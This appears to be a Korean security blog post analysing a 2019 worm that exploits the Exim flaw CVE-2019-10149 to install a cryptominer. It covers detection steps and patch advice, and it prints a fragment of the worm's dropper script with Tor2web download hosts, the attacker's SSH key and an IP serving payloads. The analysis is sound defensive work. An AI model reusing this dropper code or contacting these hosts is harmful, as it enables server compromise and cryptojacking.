요약
- 6/3일 발표된 CVE-2019-10149 취약점을 이용해 WannaMine 공격에 사용되었던 가상화폐 채굴기를 설치하는 활발한 공격이 포착 됨.
- 공격 패턴 :
(1) 공격자 취약서버에 스크립트를 업로드 하고, ssh를 통해 영구적인 root 권한을 획득하고 있음.
(2) Openssh가 취약 서버에 설치 되어 있는지 확인하고, 설치 되어 있지 않을 시, openssh 및 기타 툴을 설치하는 스크립트는
tor2web 라우팅 서비스를 이용해 다운 받음.
(3) 스크립트는 기존/새로 설치된 openssh 설정을 WITH AN RSA PUBLIC/PRIVATE KEY AUTHENTICATION >> 과 ssh를 통해 root 로그인을
permit하도록 변경 → 서버 공격에 성공 시, 공격자는 private/public 키 인증을 통해 서버에 대한 root 권한 접근이 가능함.
(4) 취약점 공격 성공 후, 포트 스캐너를 실행해 추가 감염 시스템을 검색 함 (python으로 쓰여 짐)
(5) 최종 공격 단계에서 윈도우 아이콘 파일을 다운로드 함 : 실제는 zip 압축 파일로 “no-password”암호가 걸려 있음.
압축 해제 시 가상화폐 채굴기 존재.
- 이미 설치된 가상 화폐 채굴기 및 보안 시스템을 제거 후 공격자의 가상화폐 채굴기를 설치
- 윈도우 아이콘 : Github 공식 아이콘과 유사
- 탐지 방법
(1) 공격자 사용 TOR 히든 서비스 : an7kmd2wp4xo7hpr
(2) 공격자 사용 private 키 :
AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"
(3) kthrotlds 프로세서가 서버에서 실행 중 인지 확인
→ 프로세서는 다양한 경로에 악성 코드 설치 및 이전 cron 테스크를 지우기 때문에 백업으로 복구 필요
(악성 코드)
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST=”https://an7kmd2wp4xo7hpr”
TOR1=”.tor2web.su/”
TOR2=”.tor2web.io/”
TOR3=”.onion.sh/”
RPATH1=’src/ldm’
#LPATH=”${HOME-/tmp}/.cache/”
TIMEOUT=”75″
CTIMEOUT=”22″
COPTS=” -fsSLk –retry 2 –connect-timeout ${CTIMEOUT} –max-time ${TIMEOUT} ”
WOPTS=” –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=${CTIMEOUT} –timeout=${TIMEOUT} ”
tbin=$(command -v passwd); bpath=$(dirname “${tbin}”)
curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi
wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “.wgetrc’-style command” && wget=”$f” && break; done; fi; fi
#CHKCURL=’curl=”curl “; wget=”wget “; if [ “$(whoami)” = “root” ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl=”echo “; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget=”echo “; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; fi; ‘
CHKCURL=’tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; ‘
LBIN8=”kthrotlds”
null=’ >/dev/null 2>&1′
(4) Crontab 에서 새롭게 추가된 cronjob이 있는지 확인 후 제거 : 공격 단계별로 다 수의 페이로드를 cronjob을 통해 다운받기 때문에
반드시 확인 필요
(5) F/W과 Access 로그에서 아래 호스트에 대한 접근 확인
https://an7kmd2wp4xo7hpr.tor2web.su
https://an7kmd2wp4xo7hpr.tor2web.io
https://an7kmd2wp4xo7hpr.onion.sh
(6) 공격자는 [http://173.212.214.137/s] 에서 스크립트를 다운받으라고 시도 함.
[Exim 원격 명령어(Command) 실행 취약점(CVE-2019-10149)]
- 취약점 : 6/3일 Qualys 회사가 메일 전송 에이전트(mail transfer agent, MTA)로 알려진 Exim에 원격 코드 실행 취약점이 존재하는 것을 발견.
- 로컬 공격 : 로컬 공격자는 root 권한으로 임의의 명령어를 execv( )를 이용해 실행 할 수 있음
(메모 변질 또는ROP (Return-Oriented Programming)와 연관성 없음)
공격자는 deliver_message( )함수 내 expand_string 함수가 해석할 특수하게 가공된 로컬 호스트의 메일 주소로 메일을 보내
root권한으로 명령어를 즉시 실행 할 수 있음.
*ROP(Return-Oriented Programming) : 취약한 프로그램 내부에 있는 기계어 코드 Gadget을 이용하여 BOF 공격 시 특정 명령을 실행시키는 방법으로 메모리 보호기법을 우회할 수 있는 공격 방법.
- 원격 공격 :
(1) 초기 설정 값 유지 : 원격 공격도 기능하나 공격자가 취약한 서버에 7일 이상 접속을 유지하고 있어야 하므로,
현실적으로 불가능할 것으로 추정.
(2) 초기 설정 값 유지 X : 아래의 경우, 로컬 공격 방법으로 원격 공격이 가능함
① 초기 설정 파일(src/configure.default)에서 ‘verify = recipient’ ACL 이 제거 된 경우
② userforward 라우터 아래의 'local_part_suffix = + * : - *'주석을 제거한 경우
③ Exim이 보조 MX (Mail eXchange)로 원격 도메인 주소에 메일을 전달하게 설정 된 경우
- 영향받는 제품 : Exim 버전 4.87 ~ 4.91 을 사용하는 오픈소스 운영체제 (ex. Debian, Red Hat, Ubuntu 등)
- 대응방안 : 4.92 버전으로 업그레이드 또는 각 버전별 패치 적용.
- 영향성 : Shodan 검색 결과 410만대의 시스템에 취약함 (Exim 사용 시스템 중 약 90%의 시스템이 취약)
관련 CVE정보
- CVE-2019-10149
- CVSS 3.0 Base Score: 9.8
- PoC : 현재(2019.06.14 10:00) 없음 *자세한 취약 요소에 대해서는 최초 분석글에서 확인 가능
(https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt)
탐지룰 존재유무
- TippingPoint : 35520: SMTP: Exim Internet Mailer Command Injection Vulnerability
참고자료
탐지방법/대응법 : https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
https://www.srv24x7.com/kthrotlds-cve-2019-10149-exim/
출처 : https://www.tenable.com/blog/cve-2019-10149-critical-remote-command-execution-vulnerability-discovered-in-exim
https://www.openwall.com/lists/oss-security/2019/06/05/4
https://www.exim.org/static/doc/security/CVE-2019-10149.txt
https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt
'Vulnerability' 카테고리의 다른 글
[2019.06.19] BlueKeep(CVE-2019-0708) 취약 OS 추가발견 (0) | 2019.06.19 |
---|---|
[2019.06.18] CVE-2019-2725 패치 우회 역직렬화 원격 코드 실행 취약점 (0) | 2019.06.18 |
[2019.05.20] RSA NetWitness 명령어 삽입 취약점 (CVE-2019-3725) (0) | 2019.06.10 |
[2019.05.20] RSA NetWitness 인증우회 취약점 (CVE-2019-3724) (0) | 2019.06.10 |
[2019.05.14]Cisco IOS XE 소프트웨어 웹 UI RCE(Remote Code Execution) 취약점 (CVE-2019-1862) (0) | 2019.05.14 |